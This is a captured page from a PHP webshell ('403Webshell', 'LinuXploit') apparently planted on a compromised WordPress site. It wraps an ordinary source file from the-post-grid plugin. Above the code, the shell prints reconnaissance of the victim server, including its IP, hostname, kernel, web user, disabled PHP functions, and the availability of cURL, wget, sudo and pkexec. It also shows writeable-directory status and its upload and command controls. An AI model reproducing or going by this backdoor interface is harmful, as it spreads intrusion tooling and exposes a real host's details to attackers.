403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/wp-content/plugins/the-post-grid/app/Factory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/wp-content/plugins/the-post-grid/app/Factory/DiviFactory.php
<?php

namespace RT\ThePostGrid\Factory;

class DiviFactory {

	/**
	 * Base namespace for all Settings.
	 */
	const BASE_NAMESPACE = 'RT\\ThePostGrid\\Divi\\Fields\\';

	/**
	 * List of component class names (without namespace).
	 *
	 * @var array
	 */

	public static function get_classes() {
		return apply_filters( 'rttpg_divi_settings_sections', [
			'ContentLayout',
			'ContentQuery',
			'ContentFilter',
			'ContentPagination',
			'ContentLink',
			'SettingsFieldSelection',
			'SettingsSectionTitle',
			'SettingsPostTitle',
			'SettingsThumbnail',
			'SettingsExcerpt',
			'SettingsMetaData',
			'SettingsACF',
			'SettingsReadMore',
			'StyleSectionTitle',
			'StylePostTitle',
			'StyleThumbnail',
			'StyleExcerpt',
			'StyleMetaData',
			'StyleSocialShare',
			'StyleReadMore',
			'StyleFilter',
			'StylePagination',
			'StyleACF',
			'StyleCard',
		] );
	}

	/**
	 * Render All Divi Fields
	 *
	 * @return array
	 */
	public static function get_divi_fields( $prefix ) {
		$fields = [];

		$classes = self::get_classes();

		if ( 'slider' === $prefix ) {
			$classes[] = 'SettingsSlider';
			$classes[] = 'StyleSlider';
		}

		foreach ( $classes as $class ) {
			$component = self::BASE_NAMESPACE . $class;

			if ( class_exists( $component ) && method_exists( $component, 'get_fields' ) ) {
				$fields = array_merge( $fields, $component::get_fields( $prefix ) );
			}
		}

		return $fields;
	}

	public static function get_divi_advanced_fields( $prefix ) {
		$component = self::BASE_NAMESPACE . 'AdvancedFields';
		if ( class_exists( $component ) && method_exists( $component, 'get_fields' ) ) {
			return $component::get_fields( $prefix );
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit